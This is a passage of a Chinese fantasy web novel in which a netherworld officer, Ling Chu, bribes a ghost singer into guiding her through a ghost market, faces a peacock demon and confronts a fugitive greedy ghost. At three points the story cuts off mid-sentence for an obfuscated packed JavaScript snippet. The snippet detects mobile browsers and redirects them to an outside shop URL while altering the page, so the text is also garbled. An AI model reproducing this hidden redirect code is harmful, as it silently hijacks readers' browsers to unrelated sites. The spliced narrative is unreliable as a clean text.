???凌初预想中孤魂野鬼们屁滚尿流过来拜见阴差的场面没有出现,她挠了挠头,“真是怪了,此地的鬼魂呢?” 这可是阴司专门召鬼的口诀,失灵了? 李善言默默举手,“凌初姐,你想找鬼啊?” “废话!不找鬼打听难道找你打听?”凌初没好气道。 “我们可以把金元宝烧了,说不定会有鬼过来捡钱?” 不得不说,李善言他提出了一个很有建设性的想法。 凌初朝他投去“孺子可教”的目光,然后把满满一袋子元宝丢给李善言,“你来烧,烧的时候什么话都不要说,咱俩来个瓮中捉鬼!” 凌初说完又伸手在李善言眼前抹了一把,确保他可以见到来“捡钱”的鬼。 李善言先将金元宝叠放了一小摞,从口袋中摸出打火机点燃。金箔纸叠成的元宝迅速燃烧后,烟雾腾腾,很快就变成了一堆纸灰。纸灰悠悠横向上飞,越飘越高。 …… 阮梦君是个著名歌星,民国的,艺名——红玫瑰。 生前名气极大,死后更是享誉幽冥! 歌星有个众所周知的爱好——打牌,活着的时候只要没有演出,便拉着沪上各家太太们组牌局,那是白天打,晚上打,最后倒在了牌桌上。 阮梦君将这打牌的爱好延续到了死后,鬼魂是不会感觉到累的,也不需要睡觉,于是她打牌打得更凶了。若是只打牌倒也无妨,偏偏她还要谈钱。 老话说——谈钱伤感情。 阮梦君也死不少年了,亲朋好友和粉丝给她烧的钱早就花了个干净。后来她灵机一动,决定召开演唱会,特地一比一复刻了百乐门舞厅,每年开几次演唱会,打牌输掉的钱也就挣回来了。然后,挣来的钱,继续打牌。 演唱会开了那么多年都安然无恙,没想到今年出了差错。 阮梦君觉得自己今年大概犯太岁,流年不利,前几天的演唱会好端端被一个阴差和几个生人给搅和了,不仅没挣到钱,而且老本都赔光了!!! 这几天阮梦君牌瘾又犯了,但是口袋空空,“没钱啊——哎?”她鼻尖闻到了浓厚的金钱气息,顶好的金元宝,没人要? 那她就不客气啦! 阮梦君兴冲冲朝着金元宝的方向飘去了。 “凌初姐,怎么还没鬼来啊?”李善言发愁,刚又烧一摞金元宝,袋子里已经所剩无几了。 “别急。”凌初闭眼感受周围,然后突然睁开,“来了!” 阮梦君急不可耐从远处飘来,怀中已经堆满了元宝。见到是李善言在发善心烧元宝,飘的速度慢下来,轻轻捋了捋鬓发,整个鬼的动作是慵懒又风情。 她款步来到李善言跟前,虽然知道他看不见自己,但还是温柔一笑,“小哥哥,你是个好人。” 结果李善言仰起脸,漏出白花花的大牙,回复道:“谢谢,你也是个好鬼。” ??? 阮梦君一时大脑宕机。 凌初就是在此刻现出身形,右手一动,缚魂锁立刻绕上阮梦君的手腕,怀中的金元宝洒了一地。 ??? 怎么还有阴差?这锁链瞧着有点熟悉,阮梦君突然脸色大变,崩溃喊道:“是你!搅和我演唱会的灾星!” 23. 梦书生 灾星? 凌初颔首,“多谢夸奖,不胜荣幸。” “你、你、你……”阮梦君一句完整的话都没说出来,只好抬起尖利的指甲戳向凌初,又碍于缚魂锁的阻拦,堪堪擦过她的衣角。 地上蹲着的李善言咂摸出不对味儿来,整个人拔地而起,走到两鬼中间,冲着凌初道:“凌初姐,这你熟人啊?不对,熟鬼?” “呸!姑奶奶恨不得从未见过这个灾星!”阮梦君抢先道,指甲都要戳凌初脸上了。 “不算。是个漏网之鱼。”凌初后退一步,避开了那又尖又长的指甲,默默吐槽了一句,又不是狐狸精,指甲留这么长干什么? 凌初第一眼就认出了这只鬼的鬼息,是之前百乐门唱歌的女鬼——红玫瑰。她指尖弹出一道蓝光没入女鬼的魂体,凌初顷刻便知晓了女鬼的身份——阮梦君,因打牌猝死。 原来如此! 她淡淡一笑:“红玫瑰小姐,又见面了。” “……”阮梦君不答。 凌初也不急,慢悠悠挥了下手,地上散落的金元宝就自动归拢到一起。她手指向上,一团金元宝就浮在阮梦君眼前,金光四射。 阮梦君一脸蠢蠢欲动。 “我只打听一件事,你说清楚,这些元宝,全都归你!”凌初循循善诱。 “真的?” “真的。” 阮梦君心动了,于是问她:“什么事?” “此地鬼市入口在哪?” “……”我就说天底下没有路边“捡钱”这种好事!原来你这个阴差是要打击我们大本营啊!阮梦君非常硬气地说:“不知道。” 她怒目圆睁,瞪着凌初,一副贫贱不移、威武不屈的模样! 李善言若有所思眯了眯眼,这么有骨气……嘛?一句话还没感叹完,凌初和阮梦君接下来的行为叫他大跌眼镜。 只见凌初从腰后摸出一只手机,打开流量开关,下载了一个APP。再之后,手机里传来伴着“炸弹”二字的音乐声,“噔噔噔……” 斗地主?画风转变太快他来不及反应,这有用吗? 转头便看到阮梦君伸长脖子,眼睛都要黏凌初手机上了。 二鬼的头凑得极近,阮梦君的手虽然被捆住了,但也不影响小嘴叭叭,“出对儿A啊!你出啊!哎呀!”她猛地一拍手,扼腕痛惜,白瞎了这一副好牌!!! 凌初收起手机,抱着双臂,好整以暇看着阮梦君。 这是赤裸裸的阳谋。 阮梦君面上纠结,啊,怎么办?好想打牌啊啊啊! 凌初给李善言递了个眼色,李善言立刻又添上一把火,“手机里的纸牌游戏很多,有各种各样的,保准你以前没见过!” “哼!只有斗地主才是真正的纸牌游戏。”阮梦君满眼不赞同。 李善言:“……” 服了!这女鬼还是斗地主的毒唯? “在手机上斗地主,不花钱。”凌初一句话精准踩中阮梦君的痛点。 阮梦君神色有所松动。 凌初添上最后一把火,强硬道:“阮小姐,你作为游魂已经逗留人间近百年,按照阴司律法,当入十八层地狱受罚。不过,如果你这次戴罪立功,本阴差可以为你在判官大人面前求个情,如何?” “……”好话赖话都让她一个人说了,阮梦君丝毫没有发挥的余地。 “一言为定。”阮梦君答应了。 凌初再次驱动寻鬼镯,缚魂锁收回,“事不宜迟,我们快去鬼市。” 阮梦君摇头,“鬼市就在此地,稍等。” 等她把现场的金元宝全部收入囊中后,立刻结印,口中念念有词,平地刮起一阵阴风,凌初眼疾手快将李善言往外推了一把,快速道:“你先回分局,我把他们两个带回来后联系你。” “哎?哎哎哎!凌初姐……”李善言踉跄着退出阮梦君的阵法范围,刚想说什么,眼前二鬼便消失不见了。 “凌初姐,陈队不见了,李淼不见了,连你也不见了,我一个人回去会被小曈师姐和魏局打死叭?”他完全可以预料到:如果自己单独回分局,绝对“死无葬身之地”。 回,还是不回?这是个很“哲学”的问题。 李善言在思考哲学问题的时候,凌初与阮梦君已经来到鬼市的大门前。 凌初仰头看着宏伟精致的石牌坊,最上面只有简洁明了的二字篆书——鬼市,问旁边:“这就是鬼市?” “对。” “幕后老板是谁?”凌初随口问了一句。牌坊前后都是光秃秃、白茫茫的一片,应该有结界。 “我怎么知道?”阮梦君理直气壮回答,她一个小小的游魂,靠着演唱会门票钱度日,怎么会了解这些大人物?! “……行吧,我们进去。”凌初作势欲走。 阮梦君一把拉住她,“别急啊,阴差大人。你身上气息,收一收啊。” “哦。”凌初敛息,现在她看上去与一般鬼魂无二。 二鬼一同步入鬼市。 结界一阵波动后,凌初与阮梦君的身影出现在鬼市最繁华的一条长街上,两侧叫卖声不绝于耳,环境乱糟糟的,堪比城中村。 “阮小姐,我想找两个人,活人。他们应该是误入此地的,怎么找?”凌初当即道出她来此处的目的。或许是因为鬼市结界,她无法探查到陈遇和李淼的气息,这间鬼市的主人,绝不寻常。 凌初不怕阮梦君潜逃,缚魂锁已在她身上留下印记,无论她跑到何处,凌初都能知道她的踪迹。 况且,若阮梦君不识好歹,凌初不介意直接动武,让她魂飞魄散。毕竟,阴司已将自己身上禁锢修为的封印解开了。 好在阮梦君多年识人的经验告诉她,眼前这阴差是个不好惹的,因此她非常识趣道:“找人啊,不如去梦书生那儿问问。” “梦书生?”凌初疑惑,紧接着就看到阮梦君苍白的脸上泛起了诡异的红晕,顿时大为惊奇。 阮梦君止不住笑,高兴道:“梦书生是我们这间鬼市最为博学的鬼,平常一副书生打扮,上知天文下知地理,这鬼市,就没有他不知道的秘闻。当然,最重要的是,他长得十分好看。” 最后四个字才是你说这句话的重点吧? “好,他在哪儿?” “就在东街第七个小巷子。”阮梦君答。 凌初大致分辨了下方向,准备往东走,没走几步就被阮梦君拉住,“不是那边,往这边。”阮梦君指了一个方向。 “那边,不是西南吗?”凌初面露疑惑。 阮梦君咯咯直笑,“哎呀,东街是那条大街的名字,不是方位。” “……”你们鬼市起名,还挺别具一格的哈。 凌初认命地跟在阮梦君身后。 作为歌星,阮梦君在此地也算小有名气,时不时就有人上前跟她打招呼,“阮小姐。” “嗯,你好。” “阮小姐,新招的跟班儿?” “对啊,帮我拎包的。” “梦君姐,好久不见啊?” “好久不见,亲亲。” 凌初:“……”我真是服了! 东街,第七条巷子,早早就支起了一个笔墨摊子。 一张桌,一方砚,一支笔,一沓纸,一只鬼,如此而已。 阮梦君带着凌初来到笔墨摊前,还未说话,摊主——也就是梦书生抬头便笑,他眼尾狭长,眉目含情,是个勾魂夺魄的主儿。 “梦君姑娘可是许久未来我这小摊儿了。”他的语气略带埋怨,却显得亲昵十足。 真是一个调情的高手! 阮梦君心花怒放,当即摸出一个金元宝递给梦书生,“老规矩。” “好嘞。”梦书生接过元宝揣入怀中,请阮梦君入座,然后执笔,开始在纸上画画。 约莫过了半刻钟,活色生香的美人图便跃然纸上,那叫一个顾盼生姿、风情万种。 怪不得阮梦君喜欢他,确实有点儿本事。 但凌初可不吃这一套,她在阮梦君起身后立刻大马金刀坐下,杀气腾腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087299|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。梦书生恍若未觉,笑容意味深长,“这位姑娘,也是找我画美人图的?” “不是,我找人。” “人?” “活人,他们是今日来到鬼市的。” 梦书生笑容僵住,立刻开始收拾东西,打算跑路。 哎?他的砚台,怎么拿不动?梦书生抬眼,只见凌初的一只手微拢,轻覆在砚台上方。 他薅,他使劲儿薅,他双手抓住砚台,用力薅。 凌初轻笑,手掌抬起,因着一股惯力,梦书生猛地坐了个屁股蹲! “呵呵!”阮梦君忍俊不禁。 梦书生气急败坏站起来,掸了下衣服上的灰尘。他吸气、吐气,再吸气、吐气,如此往来几回,终是按捺不住,“你、你、你,你有辱斯文!” 就这?凌初不屑,还以为他要引经据典、不带脏字儿痛骂自己呢?! 坦白讲,凌初对梦书生很失望,但眼下也只能死马当作活马医了。 她丢出十个金元宝,直白道:“我要查今天来到鬼市的两个活人的讯息,你,能不能干?” “能干能干能干!”梦书生麻利地收拢了元宝,照旧揣入怀中。 凌初:“……”得,又一个财迷! 花钱能使鬼推磨,此话果然不假。 梦书生和凌初坐下来,他拿起笔,问:“你说的那两个生人,名字、相貌如何?年岁几何?” 凌初:“一个叫陈遇,大概三十岁,个儿比你高,长得比你更有男人味儿。” 梦书生:“……”我是帮你找人的,尊重一下帮手好吗?!不是让你来扎我心的!他咬牙切齿地说:“另一个呢?” “十八岁,没你高,跟你长得……差不多吧。” 梦书生:“……”这小屁孩儿你也拿来跟我比???他配吗??? 心里默念着顾客就是上帝,梦书生默默忍了凌初。他在纸上写下这些讯息,然后指尖燃起灰白色的火焰,将那纸张烧了,一缕白烟冒出来,悠悠朝某个方向飘去。 “二位姑娘,跟着这道烟就能找到你们说的人啦。”梦书生起身拱手道,准备恭送两位财神爷。 结果财神爷并不按照套路走! 凌初直接伸手一抓,一手一只鬼,带着梦书生和阮梦君快速移动身形,追向那道白烟。 梦书生:“……”有一句mmp不知当讲不当讲! 阮梦君:“……”我就说她是个不好惹的叭。 梦书生挣扎,刚想大喊“救命”,就被凌初森冷的眼神冻住了张口出声的动作,他闭上了嘴,心有余悸。咦——这女鬼怎么回事儿?眼神还怪可怕的! 至于阮梦君,安安静静缩着脖子,尽量减弱自己的存在感。 梦书生本想询问阮梦君,见状也歇了心思。罢了罢了,小命要紧。 鬼市道路曲折,四通八达。 白烟速度极快,凌初需要全神贯注紧跟着它,才不至于跟丢。 陈遇,你最好给我机灵点儿! …… 陈遇此刻正在被迫参观孔鸣的“爱巢”以及倾听它的“装修心得”。 “陈大,你看我们头上的夜明珠,每一颗大小、颜色都一模一样,这可是我千辛万苦从万宝楼买来的,花了好多钱呢!”孔鸣十分肉痛道。 夜明珠天花板确实不错,每个夜明珠排列距离相等,犹如一颗颗围棋摆放,强迫症表示看着很舒服。 陈遇点头,真心道:“这个夜明珠很不错。” 自己审美得到了陈遇的肯定,孔鸣一时信心大增,又指着自己花里胡哨的鸟窝,满怀期待看着他,“你看我这鸟窝,是不是很华丽?很漂亮?很夺目?” “呃……”陈遇迟疑了。 “你就说是不是嘛?”孔鸣又问了一遍。 陈遇挠头,试探着道:“大概?可能?也许?” “怎么样怎么样?” “脏!乱!丑!”房门被一脚踢开,凌初带着梦书生和阮梦君出现。 完了!陈遇如此想到。 24. 她是我的人 孔鸣看着门口出现的三位不速之客,眸光闪烁,眼底情绪不明。 他冲凌初道:“你说什么?” 凌初丢开梦书生和阮梦君,示意二鬼靠边站好,紧接着重复了一遍刚才的话,“我说你这鸟窝,脏!乱!丑!” 脏?乱?丑? 这三个字狠狠刺痛了孔鸣的心,他眼睛漫上血红色,表情也变得癫狂起来,身形不断膨胀,“哈哈哈哈……该死的人类!没品味的家伙!我要你死——” “区区孔雀妖,竟敢在我面前放肆!”凌初也不是吃素的,当即驱动寻鬼镯,抬起缚魂锁,一鞭甩过去! 桌椅瞬间被砸个粉碎,化作青烟消散了。 “啊啊啊,我要吃了你!”孔鸣怒吼。 “哼!”凌初快步上前,左手握拳,携带着浓厚鬼修之力,一拳打在孔鸣身上,几朵绚丽的羽毛飘落。 孔雀妖惨叫:“啊——” 陈遇:“……”他刚刚看到了什么?凌初一拳击中了孔雀妖?人能打得过妖怪吗? 眼见孔鸣原形显现,一只巨型孔雀站在屋中,身躯越来越大,同时恶狠狠盯着在场的人和鬼。 陈遇福至心灵,大声道:“孔鸣,你再变大的话,你的家就被拆了!” 其他人(鬼):??? 这能有……用? 孔鸣的身形不再变大。 嘿,还真有用啊! 孔鸣恢复成原来鸟脸人身的模样,与凌初各自占据一个角落,隔空对视,气氛焦灼。 陈遇站到中间,先对孔鸣说:“孔先生,抱歉。她是我的人,因为我和陈二跟你有一些误会,我代她向你道歉。你的鸟窝,非常别致!” 孔鸣没说话,冷哼一声。 凌初露出不屑的表情,但也没有动作,看来陈遇和李淼不是被这只孔雀妖抓来的,那是谁呢? 孔鸣再次幻化出一副新桌椅,施施然走到主位上坐下,优雅道:“陈大,既是你的人,那我便不再追究了。我们也算不打不相识,我是孔鸣,乃是妖修,阁下是?” 孔鸣明显想歪了,陈遇和凌初也都知道他想歪了,但两个人默契地都没有纠正孔鸣的说法。 陈遇、凌初:孔鸣误会越深,我们真实身份才越不容易暴露! “鬼修。”凌初言简意赅,“你叫我凌幺幺就行。” 陈遇:“……”凌幺幺是什么鬼?他向凌初投去不赞成的目光。 凌初视若无睹,一屁股坐下,正好在孔鸣下首位置,陈遇坐到了她对面。至于墙角的阮梦君和梦书生,也依次落座。 孔鸣伸手一挥,五盏清茶同时出现在桌面上。他微微一笑,“诸位请用。” 凌初端起茶杯,闻了闻,茶香四溢,还掺有一丝甘甜气味,不错,是好茶!她啜饮一口,赞了一声:“好茶!” 梦书生和阮梦君亦是连连称赞,“不错不错,香气扑鼻、回味甘甜,好茶啊!” “这泡茶的水,清净无暇,激发了茶香,莫不是一两金才得一斤的凤凰醴泉?”梦书生猜测道。 “正是。”孔鸣极为得意地笑了。 啧!马屁精!凌初腹诽。 陈遇没有说话,端起茶杯后又放下,杯中的茶水却是一点儿都没少。结果刚放下脑中便出现了凌初的声音,“陈队,这茶水可以喝,有固魂的效果。” 陈遇瞬间就抓住了椅子扶手,手背青筋迸发,他整个人紧绷着身体,抬眼紧盯凌初。 凌初神色坦然,又道:“陈队,别紧张,这只是一个小小的通灵术法。当务之急,是将你和李淼救出去。” “我们没死?”他试探着在脑海中问凌初。 凌初的声音一下子变大,“当然没死了!否则我费尽千辛万苦来鬼市干什么?闲着没事旅游嘛?!” 陈遇皱眉,掏了掏耳朵。 凌初默默翻了个白眼。 其余三鬼:你们这样旁若无人地打情骂俏好嘛?!注意点儿场合好不好?! 陈遇又问:“怎么回去?” “……还不知道。”凌初是被阮梦君带到鬼市的,至于怎么出去,没来得及问,想来阮梦君应该是有法子的。 凌初看向阮梦君,阮梦君给她回了个“安心”的眼神。 “书生,听说你擅画美人图?”孔鸣饶有兴趣问道。 梦书生谦虚:“略懂略懂。” 孔鸣再一挥手,梦书生面前立刻出现了一整套的笔墨纸砚,他笑道:“不如给我画一幅吧。” 梦书生没有急着回应,先环视一周,然后才说:“孔兄有所不知,在下身无长处,唯有丹青一门尚可入眼。家中贫苦,不得已才在东街摆摊画画,挣个香火钱。” 在座的都是人精,梦书生话中的意思岂不明白? 画画?可以。 付费就成。 孔鸣哈哈大笑,“你可真是个妙人啊。”他不觉得冒犯,这鬼市,本就是交易之所,梦书生这点儿要求,并不过分。 他随手丢了一只金钗到桌上,财大气粗道:“画完这金钗归你。” 梦书生眼睛都看直了。 陈遇、凌初、阮梦君也看直了眼。 陈遇、凌初:这不是前段时间金楼丢失的金饰吗??? 阮梦君:好漂亮的金钗!想要! 虽然关注点不同,但这只金钗出现后他们的反应很奇怪,孔鸣张口便问:“这金钗有什么特殊吗?” 阮梦君流露出羡慕的眼光,“很漂亮啊,我从未见过如此精致的金钗。” 陈遇、凌初:能不精致吗?这可是现代珠宝设计大师的得意之作! “你们有什么看法?”孔鸣看向陈遇和凌初。 陈遇怕凌初又说出什么不该说的话来,抢先答:“这金钗所用的黄金色泽极好,红宝石也是熠熠生辉,也是孔先生从万宝楼买的吗?” “不是。”孔鸣几乎立刻就否认了,“这金钗是从一只鬼手上买的,价钱倒不贵,就是样式精致些,图个新鲜。” “哪个鬼?”凌初立刻追问。 陈遇还没反应过来孔鸣的话,从鬼手上买来的?可这不是金楼的金饰吗?怎么会到鬼的手上? 难道?他忽然想起了盗窃金楼黄金饰品的犯罪嫌疑人,他好像是说过,自己没有偷金饰。而且,赃物到现在都没全部找齐,竟然是流落到阴间了吗? 最重要的是,凌初对此毫不惊讶,陈遇不由得思考起凌初的身份。 凌初,到底是人是鬼? 凌初根本无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108485|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暇顾及陈遇的想法,刚听孔鸣说出金钗来历,她立刻想到了那只逃脱的贪财鬼,难道它藏匿在鬼市中? 她一定要抓住它! “……呃,让我想想。”孔鸣没想到凌幺幺竟然这么激动,难道是想让陈大给她也买一只? 他会心一笑,脑海中搜寻一番后,立刻报出地址,“在东街巷尾的一个金饰摊儿前买的,是个老鬼。” “阮小姐,你在此处等我,我去去就回。”凌初立刻起身,抓起着金钗和梦书生出门,临走时特意“嘱咐”了阮梦君一番。 阮梦君:“……”这是威胁!恫吓!她调整好脸上的表情,微笑,点头。 凌初满意了,大步出门。 孔鸣心中翻起惊涛骇浪,什么情况?凌幺幺不是陈大的人吗?怎么跟这红衣女鬼和书生都有牵扯?还有这金钗,不是应该让陈大给她买吗? 难道? 孔鸣看向陈大头顶,一脸怜惜。 哎,陈大头上不仅有顶绿帽子,还有顶红帽子?! 孔鸣想开口安慰,但又不知道该说些什么。人类与禽鸟不同,极为看重夫妻忠诚。自古以来,人类便崇尚一夫一妻,喜爱的多是鸿鹄、大雁这类忠贞的鸟儿。他作为孔雀,虽理解人鸟差异,但要他批评谴责凌幺幺,却也是说不出来的。 毕竟他生前,可是风流得很呐! 孔鸣只好无奈地叹了一声,“唉——” 阮梦君:“唉——” 陈遇无言以对。 …… 凌初和梦书生(被迫)出了门,直奔东街巷尾。 梦书生被凌初揪着后脖领的衣服,半拉半拖往前走,“松手!松手!松手!” 他足足喊了三遍,凌初才放开他。 梦书生整理下衣服,气愤道:“为什么又是我?” “这鬼市你比较熟嘛。”凌初皮笑肉不笑道。 梦书生一个激灵,妈呀,这凌幺幺怎么笑得这么可怕?他整个鬼都不太好了,颤巍巍道:“那这次为什么只带我一个?” “哦。因为阮梦君得看着孔鸣。” 梦书生:“……”说白了还是客户信任度不够呗,行叭,不够就不够,信任还可以培养。 梦书生默默检讨自己,而后眼中燃起火光,他一定要拿下凌幺幺这个富婆! 为此,他这一路都十分殷勤。既然凌幺幺想找那老鬼买金钗,没关系,他带路就是。 直到来到东街巷尾前,梦书生都以为凌初是来买金钗的。 然而,到了目的地后,凌初的表情十分古怪。有点儿兴奋,有点儿愤怒,还有点儿紧张。 “???”梦书生不解,不就买个金钗,紧张什么?又不是抢金钗! 接下来的场面,是梦书生最不愿回忆的事情,没有之一。 来到东街巷尾,凌初几乎瞬间就认出了来自十八层地狱恶鬼的气息。 她不动声色来到那老鬼的摊位前,身后跟着梦书生。 “姑娘,想要什么?我这儿各种首饰都有。”老鬼殷切招呼。 凌初扫了一眼面前的金银首饰,只有很少的部分是连环盗窃黄金案件的赃物。她拿起一个带有金楼标志的玉镯,寒声道:“给你这些东西的鬼,在哪里?” 25. 杜四维 凌初话刚出口的瞬间,老鬼的身形便急速往后退。 可凌初更快,右手缚魂锁立刻飞出,套住老鬼魂体。 老鬼在缚魂锁上闻到了熟悉的味道,浑浊的双眼都瞪大了,他震惊万分,颤声问:“你、你、你是阴司的鬼差?” 凌初将老鬼拽至跟前,一脚踢上去,他“啪叽”跪地。 “算你有点儿见识。” 梦书生的嘴巴张大,满眼都是惊慌,他、他、他刚说什么来着?谁、谁、谁是阴差? 因老鬼一语道破凌初的身份,她不再收敛气息。属于阴司鬼差的气息散发开来,阴气逼人! 周围的众鬼,顿时作鸟兽散。 阴差的气息,也惊醒了鬼市最深处的一只鬼。他缓缓睁开双眼,金光一闪,“东岳阴司?!” 梦书生心如死灰,直愣愣站在旁边,满心都是:完了!!! 凌初没有注意到梦书生的沮丧,拿缚魂锁将面前的老鬼捆了严实,扔到地上。 她坐在摊儿后的凳子上,又细细打量了老鬼一番,脑中完全没有印象。 老鬼看上去年纪不小了,有一头灰白的枯发,跟眉毛、胡子混做一团。他穿着灰色长袍,腿上还打了几个补丁,脚上的一双黑靴倒是很新。 有个念头萦绕在凌初脑中:这只又老又穷的鬼魂,究竟是犯了什么大罪,竟然被关进十八层地狱? “叫什么名字?”她问老鬼。 老鬼当即回答:“杜四维。” 凌初正想问他是哪几个字,一旁装傻的梦书生就率先开口了,“国有四维,一维绝则倾,二维绝则危,三维绝则覆,四维绝则灭。倾可正也,危可安也,覆可起也,灭不可复错也。何谓四维?一曰礼、二曰义、三曰廉、四曰耻。礼不踰节,义不自进。”[15] 说完后见凌初看向自己,立刻捂住了自己嘴巴,眼神飘忽,扭过头去。 凌初没搭理他,反倒踢了踢地上的杜四维,“杜四维,听你名字应是个读书人,怎么会去十八层地狱?” 梦书生的耳朵悄悄竖起来。 杜四维却面露异色,抿紧了嘴唇,不肯多言。 “呵!”凌初出声,左手一伸,调出恶鬼名单,念道:“杜四维!” 书页“哗哗”翻动了一阵,最后在印有“杜四维”三个字的地方停下来。 这一页纸密密麻麻写满了,关于杜四维的生平十分详细,当然,也有阴司判官处刑的原因。 凌初看完后,表情也很异样。 梦书生的心被揪起,抓耳挠腮,他很好奇啊!好想知道啊!八卦使人勇敢,他壮着胆子问:“阴差大人,他为什么去了十八层地狱啊?” 凌初看梦书生一眼,又低头看杜四维,语气怜悯又无奈,“没想到,礼、义、廉、耻四个字,你竟然都违背了!” “???”梦书生脑子险些没转过弯儿,违背礼、义、廉、耻四个字?也就是说,杜四维失礼、不义、寡廉、无耻?他的目光瞥向杜四维,瞧着也不像啊! 杜四维涨红了脸,想要辩解,欲言又止,最终满腔言语只化作了一声叹息。 “既然如此,我也不再多说。杜四维,贪财鬼在哪儿?”凌初看出来他不愿多言,便说明来意。 地上的杜四维蛄蛹着艰难坐起来,他先是“呸”一声,吐出嘴里的头发,然后定睛看着凌初,“大人,我若说出他的去处,有何好处?” “啧!”凌初看他跟自己讨价还价的模样,瞬间就明白了他为什么会去十八层地狱了。也是,能去十八层地狱的鬼,生前哪个不是臭名昭著?她问:“你想要什么?” “转世投胎。” 这个要求在凌初意料之中,她略一思忖,点头答应了,“可以。” 杜四维露出喜色,“真的?” “当然。你知道的,阴司鬼差,从不轻易允诺。”凌初严肃道。 这番话是真的,阴司鬼差,皆言出法随。倒不是指阴差们的修为有多高,能力有多强,而是指阴差与鬼魂之间特殊的联系。 比如拘魂使们前往阳世拘魂,无论那鬼魂藏得多隐蔽,只要拘魂名录上有这只鬼魂的名字,拘魂使一喊名字,鬼魂便无处可藏,只能乖乖出现在拘魂使的面前。 凌初虽不是拘魂使,但也是阴司一员,她的承诺,从不轻易许给鬼魂。 常言道“一诺千金”,对于阴差们来说,这一诺,可是自己的命数!若是背弃诺言,轻者丧失几十年或百年修为,重者直接魂飞魄散! 杜四维很清楚阴差允诺的分量,所以他又一次做出了选择,因此,他又一次选择了背叛。“我最后一次见到他,是在鬼市最北边的一家茶馆。” “带我们过去。”凌初对杜四维道,她给杜四维解开缚魂锁,让他前头领路。 三鬼不紧不慢走着,所到之处,乱作一团。 鬼市消息传播速度极快,不到一会儿,鬼市来了位阴差的消息就传遍了,众鬼惴惴不安。 北面的一处茶馆中,鬼影寥寥。 被黑布包裹得严严实实的鬼修坐在角落,只露出一双琥珀色的眼睛,眼底暗潮涌动。 既然身份已被识破,凌初索性不再掩饰。这一路走来,属于东岳阴司阴差的气息,分外浓烈。有的鬼大老远都能闻到,连凌初的面还没见到就逃之夭夭了。 但也有十分大胆的鬼,面不改色坐着喝茶,直到凌初亲临。 “钱鑫,你可让我好找哇!”凌初走进茶馆,说这话时脸上带着笑,但眼里毫无笑意,而是深深的戒备。 贪财鬼——钱鑫站起来,阴阳怪气道:“是吗?可真是劳烦凌初大人了。” 话不投机半句多。凌初“咻”一下甩开缚魂锁,挥向钱鑫! 钱鑫侧身一让,躲过缚魂锁,右手一伸,周围黑气涌动,竟都朝他手上凝聚,凭空引出一柄黑剑。 钱鑫单手执剑,猛地挥出数道剑气,直奔凌初和梦书生。 梦书生被剑气逼得东躲西藏,狼狈极了!他瞅准机会,一个箭步,闪出剑气的包围圈,瘫坐到地上,大口喘着气,“真是神仙打架,小鬼遭殃,我堂堂鬼市画师,到底得罪谁了啊!!!哎呀,我去!” 一片风刃袭来,梦书生顿时低头,“噗呲!”淡蓝色的风刃刺入墙壁,墙皮“哗啦啦”掉下。 梦书生:“……”好险好险!他还没感叹完,就看见一抹黑影冲向自己,“什么鬼东西?”快速往旁边爬了几步,黑影“咚”一下掉到自己刚才蹲着的位置。 原来是杜四维这只鬼! 刚光顾着逃命,没注意他的动向。梦书生看了眼杜四维身上的伤痕,又瞅瞅茶馆正中央激战的二鬼,明白了,又一条被波及的“池鱼”呗! 他莫名生出一股“同病相怜”的感受,上前把昏过去的杜四维扶起来靠着墙。 “唉——”梦书生长叹一口气,真是倒霉透顶的一天。 茶馆内桌椅四分五裂,地上青石板都刻上了深深的划痕,掌柜鬼躲在柜台后,一脸痛不欲生,他的心在滴血。 然而打架的两只鬼丝毫未觉,一招一式,你来我往,招招布满杀机! 钱鑫手上的黑剑,怨气缠绕,被剑气碰到后,衣物损坏,伤处随即便起灼热之感,犹如身处油锅地狱,遭受熬煎之刑。 凌初的衣角破了好几个洞,都是被他剑气烧坏的。至于熬煎之刑,凌初的魂体已经对此免疫了。她可是从无间地狱出来的鬼魂,区区熬煎之刑,不过如此! 对面钱鑫的情况就不太好了,他明显感受到了凌初这次展露的修为与上次在金楼时完全不同。而且,她出招十分主动,不像上次那样畏手畏脚。 这样的凌初,叫他想起一百八十年前他们第一次在十八层地狱相遇的场景。 那时钱鑫只是一个在油锅地狱受刑的小鬼,每日受刑后,他便想方设法地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128215|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去干活攒钱。不管是替阴差们跑腿儿,还是帮老鬼们做苦力,总之,什么能挣钱就干什么。 就这样,钱鑫辛辛苦苦、日复一日地攒着钱,直到遇到凌初。 第一次见到凌初时,她气势还没有如此凌人,反而有点傻气,脑子浑浑噩噩的,空有一身蛮力,问她是怎么来到十八层地狱的她也说不清楚,于是钱鑫就起了歪心思。 